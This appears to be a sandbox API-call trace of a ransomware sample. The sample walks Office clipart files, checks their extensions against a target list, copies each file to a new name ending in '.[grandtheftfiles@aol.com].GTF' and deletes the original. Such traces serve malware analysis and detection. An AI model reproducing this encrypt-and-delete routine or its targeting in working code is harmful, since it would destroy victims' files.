	[0090.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.153] lstrlenW (lpString=".7z") returned 3
	[0090.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.153] lstrlenW (lpString=".dbf") returned 4
	[0090.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.153] lstrlenW (lpString=".1cd") returned 4
	[0090.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0090.153] lstrlenW (lpString=".jpg") returned 4
	[0090.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.153] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.153] lstrlenW (lpString="J0086478.WMF") returned 12
	[0090.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.154] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=14174) returned 1
	[0090.154] CloseHandle (hObject=0x39c) returned 1
	[0090.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220
	[0090.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.154] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.154] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.155] GetLastError () returned 0x0
	[0090.155] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x375e, lpOverlapped=0x0) returned 1
	[0090.156] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0090.158] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.158] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.158] SetEndOfFile (hFile=0x384) returned 1
	[0090.158] CloseHandle (hObject=0x384) returned 1
	[0090.158] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.159] SetEndOfFile (hFile=0x39c) returned 1
	[0090.159] CloseHandle (hObject=0x39c) returned 1
	[0090.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1
	[0090.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.160] lstrlenW (lpString=".doc") returned 4
	[0090.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.160] lstrlenW (lpString=".docx") returned 5
	[0090.160] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0090.160] lstrlenW (lpString=".pdf") returned 4
	[0090.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.160] lstrlenW (lpString=".xls") returned 4
	[0090.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.160] lstrlenW (lpString=".xlsx") returned 5
	[0090.160] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0090.160] lstrlenW (lpString=".ppt") returned 4
	[0090.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.160] lstrlenW (lpString=".zip") returned 4
	[0090.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.160] lstrlenW (lpString=".rar") returned 4
	[0090.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.160] lstrlenW (lpString=".bz2") returned 4
	[0090.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.160] lstrlenW (lpString=".7z") returned 3
	[0090.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.161] lstrlenW (lpString=".dbf") returned 4
	[0090.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.161] lstrlenW (lpString=".1cd") returned 4
	[0090.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.161] lstrlenW (lpString=".jpg") returned 4
	[0090.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.161] lstrlenW (lpString=".doc") returned 4
	[0090.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString=".docx") returned 5
	[0090.161] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0090.161] lstrlenW (lpString=".pdf") returned 4
	[0090.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString=".xls") returned 4
	[0090.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.161] lstrlenW (lpString=".xlsx") returned 5
	[0090.161] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0090.161] lstrlenW (lpString=".ppt") returned 4
	[0090.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.161] lstrlenW (lpString=".zip") returned 4
	[0090.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.161] lstrlenW (lpString=".rar") returned 4
	[0090.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString=".bz2") returned 4
	[0090.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.161] lstrlenW (lpString=".7z") returned 3
	[0090.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.162] lstrlenW (lpString=".dbf") returned 4
	[0090.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.162] lstrlenW (lpString=".1cd") returned 4
	[0090.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0090.162] lstrlenW (lpString=".jpg") returned 4
	[0090.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.162] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.162] lstrlenW (lpString="J0089945.WMF") returned 12
	[0090.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.162] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=19898) returned 1
	[0090.163] CloseHandle (hObject=0x39c) returned 1
	[0090.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220
	[0090.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.163] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.163] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.163] GetLastError () returned 0x0
	[0090.163] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4dba, lpOverlapped=0x0) returned 1
	[0090.165] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4dc0, lpOverlapped=0x0) returned 1
	[0090.167] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.167] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.167] SetEndOfFile (hFile=0x384) returned 1
	[0090.167] CloseHandle (hObject=0x384) returned 1
	[0090.167] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.167] SetEndOfFile (hFile=0x39c) returned 1
	[0090.168] CloseHandle (hObject=0x39c) returned 1
	[0090.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1
	[0090.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.169] lstrlenW (lpString=".doc") returned 4
	[0090.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString=".docx") returned 5
	[0090.169] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0090.169] lstrlenW (lpString=".pdf") returned 4
	[0090.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString=".xls") returned 4
	[0090.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.169] lstrlenW (lpString=".xlsx") returned 5
	[0090.169] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0090.169] lstrlenW (lpString=".ppt") returned 4
	[0090.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.169] lstrlenW (lpString=".zip") returned 4
	[0090.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.169] lstrlenW (lpString=".rar") returned 4
	[0090.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString=".bz2") returned 4
	[0090.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString=".7z") returned 3
	[0090.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.169] lstrlenW (lpString=".dbf") returned 4
	[0090.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.169] lstrlenW (lpString=".1cd") returned 4
	[0090.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.169] lstrlenW (lpString=".jpg") returned 4
	[0090.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.170] lstrlenW (lpString=".doc") returned 4
	[0090.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString=".docx") returned 5
	[0090.170] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0090.170] lstrlenW (lpString=".pdf") returned 4
	[0090.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString=".xls") returned 4
	[0090.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.170] lstrlenW (lpString=".xlsx") returned 5
	[0090.170] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0090.170] lstrlenW (lpString=".ppt") returned 4
	[0090.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.170] lstrlenW (lpString=".zip") returned 4
	[0090.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.170] lstrlenW (lpString=".rar") returned 4
	[0090.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString=".bz2") returned 4
	[0090.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString=".7z") returned 3
	[0090.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.170] lstrlenW (lpString=".dbf") returned 4
	[0090.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.170] lstrlenW (lpString=".1cd") returned 4
	[0090.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0090.170] lstrlenW (lpString=".jpg") returned 4
	[0090.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.171] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.171] lstrlenW (lpString="J0089992.WMF") returned 12
	[0090.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.171] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=15680) returned 1
	[0090.171] CloseHandle (hObject=0x39c) returned 1
	[0090.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220
	[0090.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.172] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.172] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.172] GetLastError () returned 0x0
	[0090.172] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x3d40, lpOverlapped=0x0) returned 1
	[0090.702] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3d50, lpOverlapped=0x0) returned 1
	[0090.703] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.703] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.703] SetEndOfFile (hFile=0x384) returned 1
	[0090.703] CloseHandle (hObject=0x384) returned 1
	[0090.704] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.704] SetEndOfFile (hFile=0x39c) returned 1
	[0090.705] CloseHandle (hObject=0x39c) returned 1
	[0090.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1
	[0090.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.705] lstrlenW (lpString=".doc") returned 4
	[0090.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.705] lstrlenW (lpString=".docx") returned 5
	[0090.705] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0090.705] lstrlenW (lpString=".pdf") returned 4
	[0090.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.705] lstrlenW (lpString=".xls") returned 4
	[0090.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.705] lstrlenW (lpString=".xlsx") returned 5
	[0090.705] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0090.705] lstrlenW (lpString=".ppt") returned 4
	[0090.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.705] lstrlenW (lpString=".zip") returned 4
	[0090.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.706] lstrlenW (lpString=".rar") returned 4
	[0090.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString=".bz2") returned 4
	[0090.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString=".7z") returned 3
	[0090.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.706] lstrlenW (lpString=".dbf") returned 4
	[0090.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.706] lstrlenW (lpString=".1cd") returned 4
	[0090.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.706] lstrlenW (lpString=".jpg") returned 4
	[0090.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.706] lstrlenW (lpString=".doc") returned 4
	[0090.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString=".docx") returned 5
	[0090.706] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0090.706] lstrlenW (lpString=".pdf") returned 4
	[0090.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString=".xls") returned 4
	[0090.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.706] lstrlenW (lpString=".xlsx") returned 5
	[0090.706] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0090.706] lstrlenW (lpString=".ppt") returned 4
	[0090.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.706] lstrlenW (lpString=".zip") returned 4
	[0090.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.706] lstrlenW (lpString=".rar") returned 4
